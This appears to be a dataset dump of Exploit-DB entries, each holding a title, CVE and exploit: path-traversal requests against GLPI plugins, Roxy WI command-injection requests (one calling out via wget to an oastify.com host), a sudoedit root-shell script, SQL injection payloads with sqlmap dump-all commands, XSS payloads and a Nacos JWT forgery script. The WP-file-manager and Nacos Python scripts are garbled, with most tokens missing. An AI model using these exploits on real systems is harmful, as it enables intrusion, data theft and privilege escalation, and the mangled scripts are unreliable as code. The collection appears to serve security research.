QLWD/code_shield huggingface dataset:
标题: GLPI Glpiinventory v1.0.1 - Unauthenticated Local File Inclusion EDB-ID: 51230 CVE: 2022-31062 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-03 漏洞利用脚本: # ADVISORY INFORMATION
# Exploit Title: GLPI Glpiinventory v1.0.1 - Unauthenticated Local File Inclusion  
# Date of found: 11 Jun 2022
# Application: GLPI Glpiinventory <= 1.0.1
# Author: Nuri Çilengir 
# Vendor Homepage: https://glpi-project.org/
# Software Link: https://github.com/glpi-project/glpi-inventory-plugin
# Advisory: https://pentest.blog/advisory-glpi-service-management-software-sql-injection-remote-code-execution-and-local-file-inclusion/
# Tested on: Ubuntu 22.04
# CVE: CVE-2022-31062

# PoC
POST /marketplace/glpiinventory/b/deploy/index.php?action=getFilePart&file=../../\\..\\..\\..\\..\\System32\\drivers\\etc\\hosts&version=1 HTTP/1.1
Host: 192.168.56.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1 URL: https://www.exploit-db.com/exploits/51230
标题: Roxy WI v6.1.1.0 - Unauthenticated Remote Code Execution (RCE) via ssl_cert Upload EDB-ID: 51228 CVE: 2022-31161 类型: WEBAPPS 平台: PYTHON 发布日期: 2023-04-03 漏洞利用脚本: # ADVISORY INFORMATION
# Exploit Title: Roxy WI v6.1.1.0 - Unauthenticated Remote Code Execution (RCE) via ssl_cert Upload
# Date of found: 21 July 2022
# Application: Roxy WI <= v6.1.1.0
# Author: Nuri Çilengir 
# Vendor Homepage: https://roxy-wi.org
# Software Link: https://github.com/hap-wi/roxy-wi.git
# Advisory: https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-31161


# PoC
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://192.168.56.116
Referer: https://192.168.56.116/app/login.py
Connection: close

show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20<id>.oastify.com; URL: https://www.exploit-db.com/exploits/51228
标题: GLPI 4.0.2 - Unauthenticated Local File Inclusion on Manageentities plugin EDB-ID: 51229 CVE: 2022-34127 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-03 漏洞利用脚本: # ADVISORY INFORMATION
# Exploit Title: GLPI 4.0.2 - Unauthenticated Local File Inclusion on Manageentities plugin
# Date of found: 11 Jun 2022
# Application: GLPI Manageentities < 4.0.2
# Author: Nuri Çilengir 
# Vendor Homepage: https://glpi-project.org/
# Software Link: https://github.com/InfotelGLPI/manageentities
# Advisory: https://pentest.blog/advisory-glpi-service-management-software-sql-injection-remote-code-execution-and-local-file-inclusion/
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-34127

# PoC
GET /marketplace/manageentities/inc/cri.class.php?&file=../../\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts&seefile=1 HTTP/1.1
Host: 192.168.56.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1 URL: https://www.exploit-db.com/exploits/51229
标题: sleuthkit 4.11.1 - Command Injection EDB-ID: 51225 CVE: 2022-45639 类型: LOCAL 平台: MULTIPLE 发布日期: 2023-04-03 漏洞利用脚本: # Exploit Title: sleuthkit 4.11.1 - Command Injection 
 # Date: 2023-01-20
# CVE-2022-45639
# Vendor Homepage: https://github.com/sleuthkit
# Vulnerability Type: Command injection
# Attack Type: Local
# Version: 4.11.1
# Exploit Author: Dino Barlattani, Giuseppe Granato
# Link poc: https://www.binaryworld.it/guidepoc.asp#CVE-2022-45639
# POC:

fls tool is affected by command injection in parameter "-m" when run on
linux system.
OS Command injection vulnerability in sleuthkit fls tool 4.11.1 allows
attackers to execute arbitrary commands
via a crafted value to the m parameter

when it run on linux, a user can insert in the -m parameter a buffer with
backtick with a shell command.
If it run with a web application as front end it can execute commands on
the remote server.

The function affected by the vulnerability is "tsk_fs_fls()" from the
"fls_lib.c" file

#ifdef TSK_WIN32
   {
   ....
   }
#else

   data.macpre = tpre; <---------------

   return tsk_fs_dir_walk(fs, inode, flags, print_dent_act, &data);

#endif

Run command:

$ fls -m `id` [Options]


-- 
*Dino Barlattani*
www.linkedin.com/in/dino-barlattani-10bba11a9/
www.binaryworld.it <http://Binaryworld.it>
www.youtube.com/user/dinbar78 URL: https://www.exploit-db.com/exploits/51225
标题: WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE EDB-ID: 51224 CVE: 2020-25213 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-03 漏洞利用脚本: #!/usr/bin/env

# Exploit Title: WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE
# Date: [ 22-01-2023 ]
# Exploit Author: [BLY]
# Vendor Homepage: [https://wpscan.com/vulnerability/10389]
# Version: [ File Manager plugin 6.0-6.9]
# Tested on: [ Debian ]
# CVE : [ CVE-2020-25213 ]

import sys,signal,time,requests
from bs4 import BeautifulSoup
#from pprint import pprint

 sigframe
  
 sysexit

signalsignalsignalSIGINThandler

 command

 exec_url  url
 params  
  command
 

 rrequestsgetexec_urlparamsparams

 soup  BeautifulSouprtext 
 text  soupget_text

  text
 

  url

 url  sysargv
 command  sysargv
 upload_url  url

 headers  
    
     
 

 payload  

 
  rrequestspostupload_urldatapayloadheadersheaders
  
  commandexeccommand
 
  




 

  sysargv
  sysargv




 __name__  

  sysargv  
  

 
  exploit URL: https://www.exploit-db.com/exploits/51224
标题: Roxy WI v6.1.0.0 - Improper Authentication Control EDB-ID: 51226 CVE: 2022-31125 类型: WEBAPPS 平台: PYTHON 发布日期: 2023-04-03 漏洞利用脚本: # Exploit Title: Roxy WI v6.1.0.0 - Improper Authentication Control
# Date of found: 21 July 2022
# Application: Roxy WI <= v6.1.0.0
# Author: Nuri Çilengir
# Vendor Homepage: https://roxy-wi.org
# Software Link: https://github.com/hap-wi/roxy-wi.git
# Advisory: https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-31125


# PoC
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 105
Origin: https://192.168.56.114
Dnt: 1
Referer: https://192.168.56.114/app/login.py
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

alert_consumer=notNull&serv=roxy-wi.access.log&rows1=10&grep=&exgrep=&hour=00&minut=00&hour1=23&minut1=45 URL: https://www.exploit-db.com/exploits/51226
标题: Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE) EDB-ID: 51227 CVE: 2022-31126 类型: WEBAPPS 平台: PYTHON 发布日期: 2023-04-03 漏洞利用脚本: # ADVISORY INFORMATION
# Exploit Title: Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE)
# Date of found: 21 July 2022
# Application: Roxy WI <= v6.1.0.0
# Author: Nuri Çilengir 
# Vendor Homepage: https://roxy-wi.org
# Software Link: https://github.com/hap-wi/roxy-wi.git
# Advisory: https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-31126


# PoC
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 73
Origin: https://192.168.56.116
Referer: https://192.168.56.116/app/login.py
Connection: close

show_versions=1&token=&alert_consumer=1&serv=127.0.0.1&getcert=;id; URL: https://www.exploit-db.com/exploits/51227
标题: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation EDB-ID: 51217 CVE: 2023-22809 类型: LOCAL 平台: LINUX 发布日期: 2023-04-03 漏洞利用脚本: #!/usr/bin/env bash

# Exploit Title: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Git repository: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
#
# Running this exploit on a vulnerable system allows a localiattacker to gain 
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or 
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root 
# shell.

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
    echo "> Currently installed sudo version is not vulnerable"
    exit 1
fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)

if [ -z "$EXPLOITABLE" ]; then
    echo "> It doesn't seem that this user can run sudoedit as root"
    read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
    echo "> BINGO! User exploitable"
    echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
    echo "$( whoami ) ALL=(ALL:ALL) ALL"
    read -n 1 -s -r -p "Press any key to continue..."
    EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
    sudo su root
    exit 0
fi URL: https://www.exploit-db.com/exploits/51217
标题: SQL Monitor 12.1.31.893 - Cross-Site Scripting (XSS) EDB-ID: 51218 CVE: 2022-47870 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-04-03 漏洞利用脚本: # Exploit Title: SQL Monitor 12.1.31.893 - Cross-Site Scripting (XSS) 
# Date: [12/21/2022 02:07:23 AM UTC]
# Exploit Author: [geeklinuxman@gmail.com]
# Vendor Homepage: [https://www.red-gate.com/]
# Software Link: [https://www.red-gate.com/products/dba/sql-monitor/]
# Version: [SQL Monitor 12.1.31.893]
# Tested on: [Windows OS]
# CVE : [CVE-2022-47870]

 [Description]
 Cross Site Scripting (XSS) in the web SQL monitor login page in Redgate
 SQL Monitor 12.1.31.893 allows remote attackers to inject arbitrary web
 Script or HTML via the returnUrl parameter.

 [Affected Component] affected returnUrl in
https://sqlmonitor.*.com/Account/Login?returnUrl=&hasAttemptedCookie=True
 affected A tag under span with "redirect-timeout" id value

 [CVE Impact]
 disclosure of the user's session cookie, allowing an attacker to
hijack the user's session and take over the account.

 [Attack Vectors]
 to exploit the vulnerability, someone must click on the malicious A
HTML tag under span with "redirect-timeout" id value

 [Vendor]
 http://redgate.com
 http://sqlmonitor.com
 https://sqlmonitor. URL: https://www.exploit-db.com/exploits/51218
标题: Art Gallery Management System Project v1.0 - SQL Injection (editid) authenticated EDB-ID: 51216 CVE: 2023-23163 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-03 漏洞利用脚本: # Exploit Title: Art Gallery Management System Project v1.0 - SQL Injection (editid) authenticated
# Date: 20/01/2023
# Exploit Author: Rahul Patwari
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip
# Version: 1.0
# Tested on:  XAMPP / Windows 10
# CVE :  CVE-2023-23163

# Proof of Concept:

# 1- Install The application Art Gallery Management System Project v1.0

# 2- Navigate to admin login page and login with the valid username and password<admin:Test@123>.
  URL: http://localhost/Art-Gallery-MS-PHP/admin/login.php

# 3- Now navigate "Manage ART TYPE" by clicking on "ART TYPE" option on left side bar.

# 4- Now click on any of the Art Type "Edit" button and you will redirect to the edit page of art type.

# 5- Now insert a single quote ( ' ) on "editid" parameter to break the database query, you will see the output is not shows.

# 6- Now inject the payload double single quote ('') in the "editid" parameter to merge the database query and after sending this request the SQL query is successfully performed and product is shows in the output.

# 7- Now find how many column are returns by the SQL query. this query will return 6 column.
  Payload:editid=6%27order%20by%203%20--%20-

# 8- For manually get data of database insert the below payload to see the user of the database.
  payload: editid=-6%27union%20all%20select%201,user(),3--%20-

# 9- Now to get all database data use below "sqlmap" command to fetch all the data.
 Command: sqlmap http://localhost/Art-Gallery-MS-PHP/admin/edit-art-type-detail.php?editid=6 --cookie="PHPSESSID=hub8pub9s5c1j18cva9594af3q" --dump-all --batch URL: https://www.exploit-db.com/exploits/51216
标题: Art Gallery Management System Project v1.0 - SQL Injection (cid) Unauthenticated EDB-ID: 51215 CVE: 2023-23162 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-03 漏洞利用脚本: # Exploit Title: Art Gallery Management System Project v1.0 - SQL Injection (cid) Unauthenticated
# Date: 20/01/2023
# Exploit Author: Rahul Patwari
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip
# Version: 1.0
# Tested on:  XAMPP / Windows 10
# CVE :  CVE-2023-23162

# Proof of Concept:

# 1- Install The application Art Gallery Management System Project v1.0
# 2- Navigate to the product page by clicking on the "ART TYPE" by selecting any of the categories on the menu.
# 3- Now insert a single quote ( ' ) on "cid" parameter to break the database query, you will see the output is not shown.
# 4- Now inject the payload double single quote ('') in the "cid" parameter to merge the database query and after sending this request the SQL query is successfully performed and the product is shown in the output.
# 5- Now find how many columns are returned by the SQL query. this query will return 6 columns.
 Payload:cid=1%27order%20by%206%20--%20-&artname=Sculptures

# 6- for manually getting data from the database insert the below payload to see the user of the database.
 payload: cid=-2%27union%20select%201,2,3,user(),5,6--%20-&artname=Serigraphs

# 7- for automation using "SQLMAP" intercept the request and copy this request to a file called "request.txt".
# 8- now to get all database data use the below "sqlmap" command to fetch all the data.
 Command: sqlmap -r request.txt -p cid --dump-all --batch

# Go to this url "
https://localhost.com/Art-Gallery-MS-PHP/product.php?cid=-2%27union%20select%201,2,3,user(),5,6--%20-&artname=Serigraphs
" URL: https://www.exploit-db.com/exploits/51215
标题: Art Gallery Management System Project v1.0 - Reflected Cross-Site Scripting (XSS) EDB-ID: 51214 CVE: 2023-23161 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-03 漏洞利用脚本: # Exploit Title: Art Gallery Management System Project v1.0 - Reflected Cross-Site Scripting (XSS)
# Date: 20/01/2023
# Exploit Author: Rahul Patwari
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip
# Version: 1.0
# Tested on:  XAMPP / Windows 10
# CVE :  CVE-2023-23161

# Proof of Concept:
# 1- Install The application Art Gallery Management System Project v1.0

# 2- Go to https://localhost.com/Art-Gallery-MS-PHP/product.php?cid=3&&artname=prints

# 3- Now Insert XSS Payload on artname parameter.
the XSS Payload: %3Cimg%20src=1%20onerror=alert(document.domain)%3E

# 4- Go to https://localhost.com/Art-Gallery-MS-PHP/product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E

# 5- XSS has been triggered.

# Go to this url "
https://localhost.com/Art-Gallery-MS-PHP/product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E
"
XSS will trigger. URL: https://www.exploit-db.com/exploits/51214
标题: Nacos 2.0.3 - Access Control vulnerability EDB-ID: 51205 CVE: 2021-43116 类型: WEBAPPS 平台: JAVA 发布日期: 2023-04-03 漏洞利用脚本: # Exploit Title: Nacos 2.0.3 - Access Control vulnerability
# Date: 2023-01-17
# Exploit Author: Jenson Zhao
# Vendor Homepage: https://nacos.io/
# Software Link: https://github.com/alibaba/nacos/releases/
# Version: Up to (including)2.0.3
# Tested on: Windows 10
# CVE : CVE-2021-43116
# Required before execution: pip install PyJWT,requests
import argparse
import base64
import requests
import time
import json
from jwt.algorithms import has_crypto, requires_cryptography
from jwt.utils import base64url_encode, force_bytes
 jwt  PyJWS

 PyJWS
     self
               payload  
               key  
               algorithm  
               headers  
               json_encoder  
               
        segments  

         algorithm  
            algorithm  

         algorithm   self_valid_algs
            

        
        header   algorithm

         headers
            self_validate_headersheaders
            headerupdateheaders

        json_header  force_bytes
            jsondumps
                header
                separators 
                clsjson_encoder
            
        

        segmentsappendbase64url_encodejson_header
        segmentsappendbase64url_encodepayload

        
        signing_input  bjoinsegments
        
            alg_obj  self_algorithmsalgorithm
            key  alg_objprepare_keykey
            signature  alg_objsignsigning_input key

         KeyError
              has_crypto  algorithm  requires_cryptography
                 NotImplementedError
                    
                      algorithm
                
            
                 NotImplementedError

        segmentsappendbase64url_encodesignature

         bjoinsegments


 
    Secret  
    payload  jsondumps
        
             
             timetime  
        
        separators 
    encode
    encoded_jwt  MyPyJWSencodepayload base64urlsafe_b64decodeSecret algorithm
     encoded_jwtdecode

 url https token
     https
        r  requestsget
            url  url    token  
            verify
    
        r  requestsget
            url  url    token  
     rstatus_code  
        
    
        


 __name__  
    parser  argparseArgumentParser
    parseradd_argument  
    parseradd_argument  
    args  parserparse_args
    url  argstarget
    https  
     argshttps
        https  argshttps
     url
        checkurl https JwtGenerate URL: https://www.exploit-db.com/exploits/51205
标题: Metform Elementor Contact Form Builder v3.1.2 - Unauthenticated Stored Cross-Site Scripting (XSS) EDB-ID: 51204 CVE: 2023-0084 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-03 漏洞利用脚本: # Exploit Title: Metform Elementor Contact Form Builder v3.1.2 - Unauthenticated Stored Cross-Site Scripting (XSS)
# Google Dork: inurl:metform-form intext:textarea|message
# Date: 14/01/2023
# Exploit Author: Mohammed Chemouri (https://de.linkedin.com/in/chemouri)
# Vendor Homepage: https://wpmet.com/plugin/metform/
# Software Link: https://downloads.wordpress.org/plugin/metform.3.1.2.zip
# Version: <= 3.1.2
# Tested on: WordPress version 6.1.1, PHP version 8.0.27 (64bit)
# CVE : CVE-2023-0084

Description:

An unauthenticated attacker can insert a persistent malicious JavaScript
code via the text-area field and because the input is not properly
sanitized the XSS will be executed each time the victim visits the affected
post.
An attacker can steal admin’s session or credentials e.g., using a phishing
attack (display fake login page) and may install a JavaScript backdoor like
the Browser Exploitation Framework (BeeF). ,etc.

Reproduction Steps:

1- Create a new form (using MetForm Elementor widgets) and insert a
text-area field and a submit button then publish the form.
2- Visit the created form (no login needed) and insert the following
JavaScript code in the text-area and submit:
<script>alert(0)</script>
3- By visiting MetForm then Entries from the WP-ADMIN panel and viewing the
inserted post the XSS payload will be executed.

Because there is may bots scanning the web and trying to brute-force
admin's credentials or exploit known vulnerabilities this flaw can be also
automated to steal credentials or do actions on behalf of the logged in
user or even install a JavaScript worm like the Browser Exploitation
Framework (BeeF) and make more than 100,000 websites under a high risk.

Remediation:

All fields must be properly sanitized and escaped before being displayed in
the browser. WordPress already offers an API for this purpose.

For more information please refer to:
https://developer.wordpress.org/apis/security/common-vulnerabilities/
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html URL: https://www.exploit-db.com/exploits/51204
标题: Windows 11 10.0.22000 - Backup service Privilege Escalation EDB-ID: 51203 CVE: 2023-21752 类型: LOCAL 平台: WINDOWS 发布日期: 2023-04-03 漏洞利用脚本: ## Title: Windows 11 10.0.22000 -  Backup service Privilege Escalation
## Author: nu11secur1ty
## Date: 01.13.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/software-download/windows11
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752

## Description:
Windows 11 Pro build 10.0.22000 Build 22000 suffers from  Backup
service - Privilege Escalation vulnerability.
An attacker who successfully exploited this vulnerability could gain
SYSTEM privileges.
and could delete data that could include data that results in the
service being unavailable.


## STATUS: HIGH Vulnerability - CRITICAL

[+] Exploit:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752/PoC)

## Reference:
[href](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752)

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752/PoC)

## Proof and Exploit:
[href](https://streamable.com/f2dl3m)



-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html https://0day.today/
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/> URL: https://www.exploit-db.com/exploits/51203
标题: ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS) EDB-ID: 51200 CVE: 2022-35543 类型: WEBAPPS 平台: ASPX 发布日期: 2023-04-01 漏洞利用脚本: # Exploit Title: ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS)
# Date: 12/09/2022
# Exploit Author: Rob, CTRL Group
# Vendor Homepage: marigroup.com
# Version: V3.3.3 and under
# Tested on: Windows IIS all versions
# CVE : CVE-2022-35543

“Stored Cross-Site Scripting” Vulnerability within the Elsi Smart Floor software. This vulnerability does require authentication however, once the payload is stored, any user visiting the portal will trigger the alert. 

Login to the appplication

Browse to "Settings" tab and tehn " Wards". Create a new word with the following payload at the ward name:


 <script>alert(document.cookie)</script>


Any user browsing the application will trigger the payload. URL: https://www.exploit-db.com/exploits/51200